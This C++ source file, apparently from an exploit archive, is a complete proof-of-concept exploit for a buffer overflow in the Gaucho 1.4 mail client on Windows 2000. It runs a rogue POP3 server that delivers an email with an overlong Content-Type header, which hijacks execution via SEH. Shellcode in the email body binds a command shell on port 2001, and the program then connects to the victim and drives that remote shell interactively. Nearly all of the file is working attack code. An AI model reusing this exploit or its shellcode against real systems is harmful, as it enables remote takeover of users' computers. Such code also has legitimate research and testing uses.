Chip 2007 January, February, March & April/Chip-Cover-CD-2007-02.iso/Pakiet bezpieczenstwa/mini Pentoo LiveCD 2006.1/mpentoo-2006.1.iso/livecd.squashfs/opt/pentoo/ExploitTree/application/mail/gaucho/gaucho140poc.cpp

C/C++ Source or Header | 2005-02-12 | 13KB | 445 lines

//**************************************************************************
// Gaucho Ver 1.4 Mail Client Buffer Overflow Vulnerability
// Bind Shell POC Validation Code for English Win2K SP4
// 10 Aug 2004
//
// Gaucho is an Email client developed by NakedSoft for Microsoft Windows
// platforms.  Gaucho supports SMTP, POP3 and other email delivery protocols.
// Gaucho version 1.4 is vulnerable to a buffer overflow when receiving
// malformed emails from a POP3 server.  This vulnerability is triggered if the
// POP3 server returns a specially crafted email that has an abnormally long
// string in the Content-Type field of the email header. This string will
// overwrite EIP via SEH, and can be exploited to execute arbitrary code.
//
// This POC code simulates a POP3 server that sends a specially crafted email
// to Gaucho, triggering the overflow and binds shell on port 2001 of a vulnerable
// Gaucho email client.
//
// Tested on Win2K SP4, you must find the address of JMP EDI instruction that
// is suitable for your system.
//
// Advisory
// http://www.security.org.sg/vuln/gaucho140.html
//
// Greetz: snooq, sk, and all guys at SIG^2 (www.security.org.sg)
//
//**************************************************************************

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#pragma comment(lib,"ws2_32.lib")

bool tcpInit()
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD( 2, 0 );

    err = WSAStartup( wVersionRequested, &wsaData );
    if ( err != 0 ) {
        return false;
    }

    if (LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 0 )
    {
        WSACleanup();
        return false;
    }

    return true;
}


SOCKET tcpListen(int port)
{
    SOCKET sock;

    sock = socket(AF_INET, SOCK_STREAM, 0);

    if(sock == INVALID_SOCKET)
        return sock;

    sockaddr_in sin;

    sin.sin_addr.s_addr = htonl(INADDR_ANY);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);

    if(bind(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
        printf("Error in bind().\n");
        closesocket(sock);
        return INVALID_SOCKET;
    }

    if(listen(sock, 5) == SOCKET_ERROR)
    {
        printf("Error in bind().\n");
        closesocket(sock);
        return INVALID_SOCKET;
    }

    return sock;
}


DWORD resolveIP(char *hostName)
{
    hostent *hent;
    char **addresslist;
    DWORD result = 0;

    hent = gethostbyname(hostName);
    if(hent)
    {
        addresslist = hent->h_addr_list;

        if (*addresslist)
        {
            result = *((DWORD *)(*addresslist));

        }
    }

    return result;
}


SOCKET tcpConnect(char *host, int port)
{
    SOCKET sock;

    sock = socket(AF_INET, SOCK_STREAM, 0);

    if(sock == INVALID_SOCKET)
        return sock;

    sockaddr_in sin;

    DWORD ip = resolveIP(host);
    if(ip == 0)
        ip = inet_addr(host);

    sin.sin_addr.s_addr = ip;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);

    if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
    {
        printf("Connect failed.\n");
        closesocket(sock);
        return INVALID_SOCKET;
    }

    return sock;
}


void shell(int sockfd)
{
    char buffer[1024];
    fd_set rset;
    FD_ZERO(&rset);

    for(;;)
    {
        if(kbhit() != 0)
        {
            fgets(buffer, sizeof(buffer) - 2, stdin);
            send(sockfd, buffer, strlen(buffer), 0);
        }

        FD_ZERO(&rset);
        FD_SET(sockfd, &rset);

        timeval tv;
        tv.tv_sec = 0;
        tv.tv_usec = 50;

        if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
        {
            printf("select error\n");
            break;
        }

        if(FD_ISSET(sockfd, &rset))
        {
            int n;

            ZeroMemory(buffer, sizeof(buffer));
            if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
            {
                printf("EOF\n");
                exit(0);
            }
            else
            {
                fwrite(buffer, 1, n, stdout);
            }
        }
    }
}


#define OK_MSG            "+OK POC POP3 server for Gaucho Ver 1.4 Vulnerability ready.\r\n"
#define STAT_REPLY        "+OK 1 1\r\n"


char UIDL_REPLY[] =
    "1 0123456789012345678901234567890123456789\r\n.\r\n";


unsigned char bindShellEmail[] =
    "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
    "Subject: Testing\r\n"
    "To: [e-mail]\r\n"
    "From: XX <[e-mail]>\r\n"
    "Message-ID: <[e-mail]>\r\n"
    "MIME-Version: 1.0\r\n"
    "Content-Type: "
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
    "\x37\x55\x62\x76"        // overwrites EIP via SEH, address of JMP EDI in MPR.dll
                            // this address must be carefully chosen due to the filtering that is done
                            // on the header messages.

    "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
    "\xEB\x60"                    // FIRST jmp lands us here, do a SECOND jmp to land onto shellcode
    "HHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    ";"
    "\x90\x90\xEB\x61"            // JMP EDI lands here, do the FIRST jmp here to reach the SECOND jmp
    "set=US-ASCII\r\n"
    "\r\n"
    "\x90\x90"                    // shellcode sent in email body to avoid filtering (bindshell on 2001)
    "\xEB\x62\x55\x8B\xEC\x51\x56\x57\x8B\x5D\x08\x8B\x73\x3C\x8B\x74"
    "\x33\x78\x03\xF3\x8B\x7E\x20\x03\xFB\x8B\x4E\x18\x56\x33\xD2\x8B"
    "\x37\x03\x75\x08\x33\xDB\x33\xC0\xAC\x85\xC0\x74\x09\xC1\xCB\x0C"
    "\xD1\xCB\x03\xD8\xEB\xF0\x3B\x5D\x0C\x74\x0B\x83\xC7\x04\x42\xE2"
    "\xDE\x5E\x33\xC0\xEB\x17\x5E\x8B\x7E\x24\x03\x7D\x08\x66\x8B\x04"
    "\x57\x8B\x7E\x1C\x03\x7D\x08\x8B\x04\x87\x03\x45\x08\x5F\x5E\x59"
    "\x8B\xE5\x5D\xC3\x55\x8B\xEC\x33\xC9\xB1\xC8\x2B\xE1\x32\xC0\x8B"
    "\xFC\xF3\xAA\xB1\x30\x64\x8B\x01\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B"
    "\x58\x08\x89\x5D\xFC\x68\x8E\x4E\x0E\xEC\xFF\x75\xFC\xE8\x70\xFF"
    "\xFF\xFF\x83\xC4\x08\xBB\xAA\xAA\x6C\x6C\xC1\xEB\x10\x53\x68\x33"
    "\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x89\x45\xF8\xEB\x35"
    "\x5E\x8D\x7D\xF4\x33\xC9\xB1\x09\xFF\x36\xFF\x75\xFC\xE8\x40\xFF"
    "\xFF\xFF\x83\xC4\x08\x85\xC0\x75\x0E\x90\xFF\x36\xFF\x75\xF8\xE8"
    "\x2E\xFF\xFF\xFF\x83\xC4\x08\x89\x07\x33\xC0\xB0\x04\x03\xF0\x2B"
    "\xF8\xE2\xD5\xEB\x29\xE8\xC6\xFF\xFF\xFF\x72\xFE\xB3\x16\x35\x54"
    "\x8A\xA1\xA4\xAD\x2E\xE9\xA4\x1A\x70\xC7\xD9\x09\xF5\xAD\xCB\xED"
    "\xFC\x3B\xEF\xCE\xE0\x60\xE7\x79\xC6\x79\xAD\xD9\x05\xCE\x54\x6A"
    "\x02\xFF\x55\xE0\x33\xC0\x50\x50\x50\x50\x6A\x01\x6A\x02\xFF\x55"
    "\xE4\x89\x45\xD0\x33\xC0\x50\xB8\xFD\xFF\xF8\x2E\x83\xF0\xFF\x50"
    "\x8B\xC4\x6A\x10\x50\xFF\x75\xD0\xFF\x55\xE8\x6A\x05\xFF\x75\xD0"
    "\xFF\x55\xEC\x85\xC0\x75\x68\x8B\xCC\x6A\x10\x8B\xDC\x33\xC0\x50"
    "\x50\x53\x51\xFF\x75\xD0\xFF\x55\xF0\x8B\xD0\x5B\x83\xF0\xFF\x74"
    "\x4E\x8B\xFC\x33\xC9\xB1\x64\x33\xC0\xF3\xAA\xC6\x04\x24\x44\x66"
    "\xC7\x44\x24\x2C\x01\x01\x89\x54\x24\x38\x89\x54\x24\x3C\x89\x54"
    "\x24\x40\x8B\xC4\x8D\x58\x44\xB9\xFF\x63\x6D\x64\xC1\xE9\x08\x51"
    "\x8B\xCC\x52\x53\x53\x50\x33\xC0\x50\x50\x50\x6A\x01\x50\x50\x51"
    "\x50\xFF\x55\xF4\x5B\x6A\xFF\xFF\x33\xFF\x55\xD4\xFF\x55\xD8\xFF"
    "\x75\xD0\xFF\x55\xD8\x50\xFF\x55\xDC"
    "\r\n"
    ".\r\n";

unsigned char pocEmail[] =
    "Date: Mon, 09 Aug 2004 19:44:13 +0800\r\n"
    "Subject: Testing\r\n"
    "To: [e-mail]\r\n"
    "From: XX <[e-mail]>\r\n"
    "Message-ID: <[e-mail]>\r\n"
    "MIME-Version: 1.0\r\n"
    "Content-Type: "
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG1HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG"
    "HHHH"            // overwrites EIP via SEH
    "IIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG3HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG4HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG5HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG6HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG7HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG8HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGG9HHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGAHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGBHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGCHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "AAAABBBBCCCCDDDDEEEEFFFFGGGGDHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
    "; charset=US-ASCII\r\n"
    "Content-Transfer-Encoding: 7bit\r\n"
    "X-Mailer: Gaucho Version 1.4.0 Build 145\r\n"
    "\r\n"
    "Testing\r\n"
    "\r\n"
    ".\r\n";


void genUIDLreply(char *ptr)
{
    srand(GetTickCount());
    for(int i = 2; i < 42; i++)
    {
        ptr[i] = (rand() % 94) + 0x21;
    }
}

void printUsage(char *filename)
{
    printf("\nUsage: %s <mode>\n\n", filename);
    printf("  Mode can be:\n");
    printf("  1 - POC Crash\n"
           "  2 - Bindshell on Port 2001 (JMP EDI address is hardcoded for Win2K SP4)\n\n");
}

int main(int argc, char* argv[])
{
    printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
    if(argc != 2)
    {
        printUsage(argv[0]);
        return 1;
    }

    int mode = atoi(argv[1]);
    if(mode != 1 && mode != 2)
    {
        printf("\nINVALID MODE!\n");
        printUsage(argv[0]);
        return 1;
    }

    if(!tcpInit())
    {
        printf("Cannot start Winsock!\n");
        return 1;
    }
    SOCKET s = tcpListen(110);
    if(s == INVALID_SOCKET)
    {
        printf("Cannot create listening socket!\n");
        return 1;
    }
    printf("Listening on POP3 port 110...\n");

    struct sockaddr_in sin;
    int sin_size = sizeof(sin);
    SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
    char buffer[1024];
    int recvSize;

    if(client != INVALID_SOCKET)
    {
        // POP3 banner
        send(client, OK_MSG, strlen(OK_MSG), 0);
        recvSize = recv(client, buffer, sizeof(buffer), 0);
        if(recvSize <= 0)
            return 1;

        fwrite(buffer, recvSize, 1, stdout);

        // OK to USER
        send(client, OK_MSG, strlen(OK_MSG), 0);
        recvSize = recv(client, buffer, sizeof(buffer), 0);
        if(recvSize <= 0)
            return 1;

        fwrite(buffer, recvSize, 1, stdout);

        // OK to PASS
        send(client, OK_MSG, strlen(OK_MSG), 0);
        recvSize = recv(client, buffer, sizeof(buffer), 0);
        if(recvSize <= 0)
            return 1;

        fwrite(buffer, recvSize, 1, stdout);

        // REPLY to STAT
        send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
        recvSize = recv(client, buffer, sizeof(buffer), 0);
        if(recvSize <= 0)
            return 1;

        fwrite(buffer, recvSize, 1, stdout);

        // REPLY to UIDL
        genUIDLreply(UIDL_REPLY);
        send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
        send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
        recvSize = recv(client, buffer, sizeof(buffer), 0);
        if(recvSize <= 0)
            return 1;

        fwrite(buffer, recvSize, 1, stdout);

        // REPLY to LIST
        send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
        recvSize = recv(client, buffer, sizeof(buffer), 0);
        if(recvSize <= 0)
            return 1;

        fwrite(buffer, recvSize, 1, stdout);

        if(mode == 1)
        {
            // send malicious email
            send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);
            printf("POC crash email sent...\n");

            recvSize = recv(client, buffer, sizeof(buffer), 0);
            if(recvSize <= 0)
                return 1;

            fwrite(buffer, recvSize, 1, stdout);
        }
        else
        {
            // send malicious email
            send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
            printf("Bindshell email sent.  Sleeping for 2 seconds...\n");
            Sleep(2000);

            //================================= Connect to the target ==============================
            SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
            if(sock == INVALID_SOCKET)
            {
                printf("Invalid socket return in socket() call.\n");
                WSACleanup();
                return -1;
            }

            sin.sin_family = AF_INET;
            sin.sin_port = htons(2001);

            if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
            {
                printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
                closesocket(sock);
                WSACleanup();
                return -1;
            }

            printf("\n");
            shell(sock);
        }
    }

    return 0;
}